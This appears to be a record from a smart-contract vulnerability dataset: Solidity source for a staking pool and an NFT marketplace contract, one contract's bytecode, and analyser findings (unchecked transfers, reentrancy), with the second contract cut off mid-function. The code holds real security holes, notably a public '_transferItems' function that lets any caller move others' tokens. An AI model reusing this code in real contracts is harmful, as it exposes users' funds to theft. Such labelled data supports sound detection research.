view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public admin; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { admin = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == admin); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(admin, newOwner); admin = newOwner; } } interface Token { function transferFrom(address, address, uint) external returns (bool); function transfer(address, uint) external returns (bool); } contract Poo6 is Ownable { using SafeMath for uint; using EnumerableSet for EnumerableSet.AddressSet; event RewardsTransferred(address holder, uint amount); // yfilend token contract address address public tokenAddress; address public liquiditytoken1; // reward rate % per year uint public rewardRate = 10000; uint public rewardInterval = 365 days; // staking fee percent uint public stakingFeeRate = 0; // unstaking fee percent uint public unstakingFeeRate = 250; // unstaking possible Time uint public PossibleUnstakeTime = 72 hours; uint public totalClaimedRewards = 0; uint private FundedTokens; bool public stakingStatus = false; EnumerableSet.AddressSet private holders; mapping (address => uint) public depositedTokens; mapping (address => uint) public stakingTime; mapping (address => uint) public lastClaimedTime; mapping (address => uint) public totalEarnedTokens; /*=============================ADMINISTRATIVE FUNCTIONS ==================================*/ function setTokenAddresses(address _tokenAddr, address _liquidityAddr) public onlyOwner returns(bool){ require(_tokenAddr != address(0) && _liquidityAddr != address(0), "Invalid addresses format are not supported"); tokenAddress = _tokenAddr; liquiditytoken1 = _liquidityAddr; } function stakingFeeRateSet(uint _stakingFeeRate, uint _unstakingFeeRate) public onlyOwner returns(bool){ stakingFeeRate = _stakingFeeRate; unstakingFeeRate = _unstakingFeeRate; } function rewardRateSet(uint _rewardRate) public onlyOwner returns(bool){ rewardRate = _rewardRate; } function StakingReturnsAmountSet(uint _poolreward) public onlyOwner returns(bool){ FundedTokens = _poolreward; } function possibleUnstakeTimeSet(uint _possibleUnstakeTime) public onlyOwner returns(bool){ PossibleUnstakeTime = _possibleUnstakeTime; } function rewardIntervalSet(uint _rewardInterval) public onlyOwner returns(bool){ rewardInterval = _rewardInterval; } function allowStaking(bool _status) public onlyOwner returns(bool){ require(tokenAddress != address(0) && liquiditytoken1 != address(0), "Interracting token addresses are not yet configured"); stakingStatus = _status; } function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner { if (_tokenAddr == tokenAddress) { if (_amount > getFundedTokens()) { revert(); } totalClaimedRewards = totalClaimedRewards.add(_amount); } Token(_tokenAddr).transfer(_to, _amount); } function updateAccount(address account) private { uint unclaimedDivs = getUnclaimedDivs(account); if (unclaimedDivs > 0) { require(Token(tokenAddress).transfer(account, unclaimedDivs), "Could not transfer tokens."); totalEarnedTokens[account] = totalEarnedTokens[account].add(unclaimedDivs); totalClaimedRewards = totalClaimedRewards.add(unclaimedDivs); emit RewardsTransferred(account, unclaimedDivs); } lastClaimedTime[account] = now; } function getUnclaimedDivs(address _holder) public view returns (uint) { if (!holders.contains(_holder)) return 0; if (depositedTokens[_holder] == 0) return 0; uint timeDiff = now.sub(lastClaimedTime[_holder]); uint stakedAmount = depositedTokens[_holder]; uint unclaimedDivs = stakedAmount .mul(rewardRate) .mul(timeDiff) .div(rewardInterval) .div(1e4); return unclaimedDivs; } function getNumberOfHolders() public view returns (uint) { return holders.length(); } function place(uint amountToStake) public { require(stakingStatus == true, "Staking is not yet initialized"); require(amountToStake > 0, "Cannot deposit 0 Tokens"); require(Token(liquiditytoken1).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance"); updateAccount(msg.sender); uint fee = amountToStake.mul(stakingFeeRate).div(1e4); uint amountAfterFee = amountToStake.sub(fee); require(Token(liquiditytoken1).transfer(admin, fee), "Could not transfer deposit fee."); depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee); if (!holders.contains(msg.sender)) { holders.add(msg.sender); stakingTime[msg.sender] = now; } } function lift(uint amountToWithdraw) public { require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw"); require(now.sub(stakingTime[msg.sender]) > PossibleUnstakeTime, "You have not staked for a while yet, kindly wait a bit more"); updateAccount(msg.sender); uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4); uint amountAfterFee = amountToWithdraw.sub(fee); require(Token(liquiditytoken1).transfer(admin, fee), "Could not transfer withdraw fee."); require(Token(liquiditytoken1).transfer(msg.sender, amountAfterFee), "Could not transfer tokens."); depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw); if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) { holders.remove(msg.sender); } } function claimYields() public { updateAccount(msg.sender); } function getFundedTokens() public view returns (uint) { if (totalClaimedRewards >= FundedTokens) { return 0; } uint remaining = FundedTokens.sub(totalClaimedRewards); return remaining; } }
0x608060405234801561001057600080fd5b50600436106101cf5760003560e01c80636a395ccb11610104578063c326bf4f116100a2578063f2fde38b11610071578063f2fde38b14610445578063f3073ee71461046b578063f3f91fa01461048a578063f851a440146104b0576101cf565b8063c326bf4f14610407578063d578ceab1461042d578063d816c7d514610435578063f1587ea11461043d576101cf565b8063a89c8c5e116100de578063a89c8c5e14610397578063b52b50e4146103c5578063bec4de3f146103e2578063c0a6d78b146103ea576101cf565b80636a395ccb146103515780637b0a47ee146103875780639d76ea581461038f576101cf565b8063455ab53c11610171578063583d42fd1161014b578063583d42fd146102f55780635ef057be1461031b5780636270cd18146103235780636654ffdf14610349576101cf565b8063455ab53c146102b35780634908e386146102bb57806352cd0d40146102d8576101cf565b80632f278fe8116101ad5780632f278fe814610261578063308feec31461026b57806337c5785a146102735780633844317714610296576101cf565b8063069ca4d0146101d45780631e94723f146102055780632ec14e851461023d575b600080fd5b6101f1600480360360208110156101ea57600080fd5b50356104b8565b604080519115158252519081900360200190f35b61022b6004803603602081101561021b57600080fd5b50356001600160a01b03166104d9565b60408051918252519081900360200190f35b610245610592565b604080516001600160a01b039092168252519081900360200190f35b6102696105a1565b005b61022b6105ac565b6101f16004803603604081101561028957600080fd5b50803590602001356105be565b6101f1600480360360208110156102ac57600080fd5b50356105e2565b6101f1610603565b6101f1600480360360208110156102d157600080fd5b503561060c565b610269600480360360208110156102ee57600080fd5b503561062d565b61022b6004803603602081101561030b57600080fd5b50356001600160a01b0316610932565b61022b610944565b61022b6004803603602081101561033957600080fd5b50356001600160a01b031661094a565b61022b61095c565b6102696004803603606081101561036757600080fd5b506001600160a01b03813581169160208101359091169060400135610962565b61022b610a3c565b610245610a42565b6101f1600480360360408110156103ad57600080fd5b506001600160a01b0381358116916020013516610a51565b610269600480360360208110156103db57600080fd5b5035610af7565b61022b610dec565b6101f16004803603602081101561040057600080fd5b5035610df2565b61022b6004803603602081101561041d57600080fd5b50356001600160a01b0316610e13565b61022b610e25565b61022b610e2b565b61022b610e31565b6102696004803603602081101561045b57600080fd5b50356001600160a01b0316610e65565b6101f16004803603602081101561048157600080fd5b50351515610eea565b61022b600480360360208110156104a057600080fd5b50356001600160a01b0316610f76565b610245610f88565b600080546001600160a01b031633146104d057600080fd5b60049190915590565b60006104e6600b83610f97565b6104f25750600061058d565b6001600160a01b0382166000908152600d60205260409020546105175750600061058d565b6001600160a01b0382166000908152600f602052604081205461053b904290610fb5565b6001600160a01b0384166000908152600d60205260408120546004546003549394509092610587916127109161058191908290889061057b908990610fc7565b90610fc7565b90610fe7565b93505050505b919050565b6002546001600160a01b031681565b6105aa33610ffc565b565b60006105b8600b611190565b90505b90565b600080546001600160a01b031633146105d657600080fd5b60059290925560065590565b600080546001600160a01b031633146105fa57600080fd5b60099190915590565b600a5460ff1681565b600080546001600160a01b0316331461062457600080fd5b60039190915590565b336000908152600d6020526040902054811115610691576040805162461bcd60e51b815260206004820152601a60248201527f496e76616c696420616d6f756e7420746f207769746864726177000000000000604482015290519081900360640190fd5b600754336000908152600e60205260409020546106af904290610fb5565b116106eb5760405162461bcd60e51b815260040180806020018281038252603b815260200180611301603b913960400191505060405180910390fd5b6106f433610ffc565b600061071161271061058160065485610fc790919063ffffffff16565b9050600061071f8383610fb5565b600254600080546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101889052905194955092169263a9059cbb926044808201936020939283900390910190829087803b15801561077b57600080fd5b505af115801561078f573d6000803e3d6000fd5b505050506040513d60208110156107a557600080fd5b50516107f8576040805162461bcd60e51b815260206004820181905260248201527f436f756c64206e6f74207472616e73666572207769746864726177206665652e604482015290519081900360640190fd5b6002546040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b15801561084c57600080fd5b505af1158015610860573d6000803e3d6000fd5b505050506040513d602081101561087657600080fd5b50516108c9576040805162461bcd60e51b815260206004820152601a60248201527f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000604482015290519081900360640190fd5b336000908152600d60205260409020546108e39084610fb5565b336000818152600d602052604090209190915561090290600b90610f97565b801561091b5750336000908152600d6020526040902054155b1561092d5761092b600b3361119b565b505b505050565b600e6020526000908152604090205481565b60055481565b60106020526000908152604090205481565b60075481565b6000546001600160a01b0316331461097957600080fd5b6001546001600160a01b03848116911614156109b457610997610e31565b8111156109a357600080fd5b6008546109b090826111b0565b6008555b826001600160a01b031663a9059cbb83836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610a0b57600080fd5b505af1158015610a1f573d6000803e3d6000fd5b505050506040513d6020811015610a3557600080fd5b5050505050565b60035481565b6001546001600160a01b031681565b600080546001600160a01b03163314610a6957600080fd5b6001600160a01b03831615801590610a8957506001600160a01b03821615155b610ac45760405162461bcd60e51b815260040180806020018281038252602a81526020018061136f602a913960400191505060405180910390fd5b600180546001600160a01b039485166001600160a01b031991821617909155600280549390941692169190911790915590565b600a5460ff161515600114610b53576040805162461bcd60e51b815260206004820152601e60248201527f5374616b696e67206973206e6f742079657420696e697469616c697a65640000604482015290519081900360640190fd5b60008111610ba8576040805162461bcd60e51b815260206004820152601760248201527f43616e6e6f74206465706f736974203020546f6b656e73000000000000000000604482015290519081900360640190fd5b600254604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b158015610c0257600080fd5b505af1158015610c16573d6000803e3d6000fd5b505050506040513d6020811015610c2c57600080fd5b5051610c7f576040805162461bcd60e51b815260206004820152601c60248201527f496e73756666696369656e7420546f6b656e20416c6c6f77616e636500000000604482015290519081900360640190fd5b610c8833610ffc565b6000610ca561271061058160055485610fc790919063ffffffff16565b90506000610cb38383610fb5565b600254600080546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101889052905194955092169263a9059cbb926044808201936020939283900390910190829087803b158015610d0f57600080fd5b505af1158015610d23573d6000803e3d6000fd5b505050506040513d6020811015610d3957600080fd5b5051610d8c576040805162461bcd60e51b815260206004820152601f60248201527f436f756c64206e6f74207472616e73666572206465706f736974206665652e00604482015290519081900360640190fd5b336000908152600d6020526040902054610da690826111b0565b336000818152600d6020526040902091909155610dc590600b90610f97565b61092d57610dd4600b336111bf565b50336000908152600e60205260409020429055505050565b60045481565b600080546001600160a01b03163314610e0a57600080fd5b60079190915590565b600d6020526000908152604090205481565b60085481565b60065481565b600060095460085410610e46575060006105bb565b6000610e5f600854600954610fb590919063ffffffff16565b91505090565b6000546001600160a01b03163314610e7c57600080fd5b6001600160a01b038116610e8f57600080fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600080546001600160a01b03163314610f0257600080fd5b6001546001600160a01b031615801590610f2657506002546001600160a01b031615155b610f615760405162461bcd60e51b815260040180806020018281038252603381526020018061133c6033913960400191505060405180910390fd5b600a805460ff19169215159290921790915590565b600f6020526000908152604090205481565b6000546001600160a01b031681565b6000610fac836001600160a01b0384166111d4565b90505b92915050565b600082821115610fc157fe5b50900390565b6000828202831580610fe1575082848281610fde57fe5b04145b610fac57fe5b600080828481610ff357fe5b04949350505050565b6000611007826104d9565b90508015611173576001546040805163a9059cbb60e01b81526001600160a01b038581166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b15801561106557600080fd5b505af1158015611079573d6000803e3d6000fd5b505050506040513d602081101561108f57600080fd5b50516110e2576040805162461bcd60e51b815260206004820152601a60248201527f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000604482015290519081900360640190fd5b6001600160a01b03821660009081526010602052604090205461110590826111b0565b6001600160a01b03831660009081526010602052604090205560085461112b90826111b0565b600855604080516001600160a01b03841681526020810183905281517f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf130929181900390910190a15b506001600160a01b03166000908152600f60205260409020429055565b6000610faf826111ec565b6000610fac836001600160a01b0384166111f0565b600082820183811015610fac57fe5b6000610fac836001600160a01b0384166112b6565b60009081526001919091016020526040902054151590565b5490565b600081815260018301602052604081205480156112ac578354600019808301919081019060009087908390811061122357fe5b906000526020600020015490508087600001848154811061124057fe5b60009182526020808320909101929092558281526001898101909252604090209084019055865487908061127057fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050610faf565b6000915050610faf565b60006112c283836111d4565b6112f857508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610faf565b506000610faf56fe596f752068617665206e6f74207374616b656420666f722061207768696c65207965742c206b696e646c792077616974206120626974206d6f7265496e74657272616374696e6720746f6b656e2061646472657373657320617265206e6f742079657420636f6e66696775726564496e76616c69642061646472657373657320666f726d617420617265206e6f7420737570706f72746564a26469706673582212204d1a8fd5b59ce162515a2ea9c3cb6e9237e8714c72b494de35b311e447256ec564736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
70
0x99fD3A3d4Cea62954B2f1A6C6C91c77e89E09C04
// SPDX-License-Identifier: MIT pragma solidity 0.7.6; pragma abicoder v2; library Strings { function toString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = bytes1(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } interface IERC165 { function supportsInterface(bytes4 interfaceId) external view returns (bool); } abstract contract ERC165 is IERC165 { bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; mapping(bytes4 => bool) private _supportedInterfaces; constructor () { _registerInterface(_INTERFACE_ID_ERC165); } function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return _supportedInterfaces[interfaceId]; } function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } interface IERC721Receiver { function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } interface IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); function balanceOf(address owner) external view returns (uint256 balance); function ownerOf(uint256 tokenId) external view returns (address owner); function safeTransferFrom(address from, address to, uint256 tokenId) external; function transferFrom(address from, address to, uint256 tokenId) external; function approve(address to, uint256 tokenId) external; function getApproved(uint256 tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns (bool); function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } interface IERC721Metadata is IERC721 { function name() external view returns (string memory); function symbol() external view returns (string memory); function tokenURI(uint256 tokenId) external view returns (string memory); } contract CryptoItems is ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; string private _baseURI; address payable public author; string constant public _name = "CryptoTibia"; string constant public _symbol = "TIBIA"; uint256 public _totalSupply = 1000; uint public itemsRemainingToAssign = 0; struct Offer { bool isForSale; uint itemsIndex; address seller; uint minValue; address onlySellTo; } struct Bid { bool hasBid; uint itemsIndex; address bidder; uint value; } struct Info { uint itemsIndex; string authorInfo; string publicInfo; } mapping (uint256 => string) private _tokenURIs; mapping (address => uint256) public _balances; mapping (uint => address) public _owners; mapping (uint => Offer) public itemsOfferedForSale; mapping (uint => Bid) public itemsBids; mapping (uint => Info) public itemsInfo; mapping (address => uint) public pendingWithdrawals; mapping (uint256 => address) public _tokenApprovals; mapping (address => mapping (address => bool)) public _operatorApprovals; event ItemsTransferAllowance(uint256 indexed itemsIndex, address indexed fromAddress, address indexed toAddress); event ItemsTransferAllowanceForAll(address indexed fromAddress, address indexed toAddress, bool indexed approved); event AssignItems(uint256 indexed itemsIndex, address indexed toAddress); event ItemsTransfer(uint256 indexed itemsIndex, address indexed fromAddress, address indexed toAddress); event ItemsOffered(uint indexed itemsIndex, uint minValue, address indexed toAddress); event ItemsBidEntered(uint indexed itemsIndex, uint value, address indexed fromAddress); event ItemsBidWithdrawn(uint indexed itemsIndex, uint value, address indexed fromAddress); event ItemsBought(uint indexed itemsIndex, uint value, address indexed fromAddress, address indexed toAddress); event ItemsNoLongerForSaleEvent(uint indexed itemsIndex); function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function totalSupply() public view virtual returns (uint256) { return _totalSupply; } function balanceOf(address owner) public view virtual override returns (uint256) { return _balances[owner]; } function ownerOf(uint256 tokenId) public view virtual override returns (address) { return _owners[tokenId]; } function getAllOwnerOf() public view returns (address[] memory _holder) { address[] memory holders = new address[](totalSupply()); for(uint i = 0; i < totalSupply(); i++) { holders[i] = _owners[i]; } return (holders); } function getItemsOfferedForSale() public view returns (bool[] memory _isForSale, uint[] memory _itemsIndex, address[] memory _seller, uint[] memory _minValue, address[] memory _onlySellTo) { bool[] memory isForSale = new bool[](totalSupply()); uint[] memory itemsIndex = new uint[](totalSupply()); address[] memory seller = new address[](totalSupply()); uint[] memory minValue = new uint[](totalSupply()); address[] memory onlySellTo = new address[](totalSupply()); for(uint i = 0; i < totalSupply(); i++) { isForSale[i] = itemsOfferedForSale[i].isForSale; itemsIndex[i] = itemsOfferedForSale[i].itemsIndex; seller[i] = itemsOfferedForSale[i].seller; minValue[i] = itemsOfferedForSale[i].minValue; onlySellTo[i] = itemsOfferedForSale[i].onlySellTo; } return (isForSale, itemsIndex, seller, minValue, onlySellTo); } function getItemsBids() public view returns (bool[] memory _hasBid, uint[] memory _itemsIndex, address[] memory _bidder, uint[] memory _value) { bool[] memory hasBid = new bool[](totalSupply()); uint[] memory itemsIndex = new uint[](totalSupply()); address[] memory bidder = new address[](totalSupply()); uint[] memory value = new uint[](totalSupply()); for(uint i = 0; i < totalSupply(); i++) { hasBid[i] = itemsBids[i].hasBid; itemsIndex[i] = itemsBids[i].itemsIndex; bidder[i] = itemsBids[i].bidder; value[i] = itemsBids[i].value; } return (hasBid, itemsIndex, bidder, value); } function getItemsInfo() public view returns (uint[] memory _itemsIndex, string[] memory _authorInfo, string[] memory _publicInfo) { uint[] memory itemsIndex = new uint[](totalSupply()); string[] memory authorInfo = new string[](totalSupply()); string[] memory publicInfo = new string[](totalSupply()); for(uint i = 0; i < totalSupply(); i++) { itemsIndex[i] = itemsInfo[i].itemsIndex; authorInfo[i] = itemsInfo[i].authorInfo; publicInfo[i] = itemsInfo[i].publicInfo; } return (itemsIndex, authorInfo, publicInfo); } constructor() { author = msg.sender; itemsRemainingToAssign = totalSupply(); _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); } function setTokenURI(uint256 tokenId, string memory _tokenURI) public virtual { require (author == msg.sender); _tokenURIs[tokenId] = _tokenURI; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { string memory _tokenURI = _tokenURIs[tokenId]; string memory base = baseURI(); if (bytes(base).length == 0) { return _tokenURI; } if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } return string(abi.encodePacked(base, tokenId.toString())); } function setBaseURI(string memory baseURI_) public virtual { require (author == msg.sender); _baseURI = baseURI_; } function baseURI() public view virtual returns (string memory) { return _baseURI; } function approve(address to, uint256 tokenId) public virtual override { address owner = _owners[tokenId]; require(to != owner); require(msg.sender == owner || isApprovedForAll(owner, msg.sender)); _approve(to, tokenId); } function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit ItemsTransferAllowance(tokenId, _owners[tokenId], to); emit Approval(_owners[tokenId], to, tokenId); } function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != msg.sender); _operatorApprovals[msg.sender][operator] = approved; emit ItemsTransferAllowanceForAll(msg.sender, operator, approved); emit ApprovalForAll(msg.sender, operator, approved); } function getApproved(uint256 tokenId) public view virtual override returns (address) { return _tokenApprovals[tokenId]; } function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { address owner = _owners[tokenId]; return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(msg.sender, tokenId)); _safeTransfer(from, to, tokenId, _data); } function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transferItems(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, msg.sender, from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } function transfer(address to, uint itemsIndex) public { _transferItems(msg.sender, to, itemsIndex); } function transferFrom(address from, address to, uint256 tokenId) public virtual override { require(_isApprovedOrOwner(msg.sender, tokenId)); _transferItems(from, to, tokenId); } function _transferItems(address from, address to, uint itemsIndex) public { require (_owners[itemsIndex] == from); require (itemsIndex < totalSupply()); if (itemsOfferedForSale[itemsIndex].isForSale) { itemsNoLongerForSale(itemsIndex); } _approve(address(0), itemsIndex); _owners[itemsIndex] = to; _balances[from]--; _balances[to]++; emit Transfer(from, to, itemsIndex); emit ItemsTransfer(itemsIndex, from, to); Bid memory bid = itemsBids[itemsIndex]; if (bid.bidder == to) { pendingWithdrawals[to] += bid.value; itemsBids[itemsIndex] = Bid(false, itemsIndex, address(0), 0); } } function itemsNoLongerForSale(uint itemsIndex) public { require (_owners[itemsIndex] == msg.sender); require (itemsIndex < totalSupply()); itemsOfferedForSale[itemsIndex] = Offer(false, itemsIndex, msg.sender, 0, address(0)); emit ItemsNoLongerForSaleEvent(itemsIndex); } function offerItemsForSale(uint itemsIndex, uint minSalePriceInWei) public { require (_owners[itemsIndex] == msg.sender); require (itemsIndex < totalSupply()); itemsOfferedForSale[itemsIndex] = Offer(true, itemsIndex, msg.sender, minSalePriceInWei, address(0)); emit ItemsOffered(itemsIndex, minSalePriceInWei, address(0)); } function offerItemsForSaleToAddress(uint itemsIndex, uint minSalePriceInWei, address toAddress) public { require (_owners[itemsIndex] == msg.sender); require (itemsIndex < totalSupply()); itemsOfferedForSale[itemsIndex] = Offer(true, itemsIndex, msg.sender, minSalePriceInWei, toAddress); emit ItemsOffered(itemsIndex, minSalePriceInWei, toAddress); } function buyItems(uint itemsIndex) payable public { Offer memory offer = itemsOfferedForSale[itemsIndex]; require (itemsIndex < totalSupply()); require (offer.isForSale); require (offer.onlySellTo == address(0) || offer.onlySellTo == msg.sender); require (msg.value >= offer.minValue); require (offer.seller == _owners[itemsIndex]); address seller = offer.seller; _owners[itemsIndex] = msg.sender; _balances[seller]--; _balances[msg.sender]++; emit Transfer(seller, msg.sender, itemsIndex); itemsNoLongerForSale(itemsIndex); pendingWithdrawals[seller] += msg.value; emit ItemsBought(itemsIndex, msg.value, seller, msg.sender); Bid memory bid = itemsBids[itemsIndex]; if (bid.bidder == msg.sender) { pendingWithdrawals[msg.sender] += bid.value; itemsBids[itemsIndex] = Bid(false, itemsIndex, address(0), 0); } } function withdraw() public { uint amount = pendingWithdrawals[msg.sender]; pendingWithdrawals[msg.sender] = 0; msg.sender.transfer(amount); } function enterBidForItems(uint itemsIndex) payable public { require (itemsIndex < totalSupply()); require (_owners[itemsIndex] != address(0)); require (_owners[itemsIndex] != msg.sender); require (msg.value != 0); Bid memory existing = itemsBids[itemsIndex]; require (msg.value > existing.value); if (existing.value > 0) { pendingWithdrawals[existing.bidder] += existing.value; } itemsBids[itemsIndex] = Bid(true, itemsIndex, msg.sender, msg.value); emit ItemsBidEntered(itemsIndex, msg.value, msg.sender); } function acceptBidForItems(uint itemsIndex, uint minPrice) public { require (itemsIndex < totalSupply()); require (_owners[itemsIndex] == msg.sender); address seller = msg.sender; Bid memory bid = itemsBids[itemsIndex]; require (bid.value != 0); require (bid.value >= minPrice); _owners[itemsIndex] = bid.bidder; _balances[seller]--; _balances[bid.bidder]++; emit Transfer(seller, bid.bidder, itemsIndex); itemsOfferedForSale[itemsIndex] = Offer(false, itemsIndex, bid.bidder, 0, address(0)); uint amount = bid.value; itemsBids[itemsIndex] = Bid(false, itemsIndex, address(0), 0); pendingWithdrawals[seller] += amount; emit ItemsBought(itemsIndex, bid.value, seller, bid.bidder); } function withdrawBidForItems(uint itemsIndex) public { require (itemsIndex < totalSupply()); require (_owners[itemsIndex] != address(0)); require (_owners[itemsIndex] != msg.sender); Bid memory bid = itemsBids[itemsIndex]; require (bid.bidder == msg.sender); emit ItemsBidWithdrawn(itemsIndex, bid.value, msg.sender); uint amount = bid.value; itemsBids[itemsIndex] = Bid(false, itemsIndex, address(0), 0); msg.sender.transfer(amount); } function addItemsInformation(uint itemsIndex, string memory authorInfo, string memory publicInfo) public { require (itemsIndex < totalSupply()); require (_owners[itemsIndex] == msg.sender || author == msg.sender); if(msg.sender == author){ itemsInfo[itemsIndex] = Info(itemsIndex, authorInfo, publicInfo); }else{ itemsInfo[itemsIndex] = Info(itemsIndex, "", publicInfo); } } function offerItemsForSaleInBatch(uint[] memory itemsIndex, uint[] memory minSalePriceInWei) public { require (msg.sender == author); uint n = itemsIndex.length; for (uint i = 0; i < n; i++) { offerItemsForSale(itemsIndex[i], minSalePriceInWei[i]); } } function getItems(uint itemsIndex) public payable { require (itemsRemainingToAssign != 0); require (_owners[itemsIndex] == 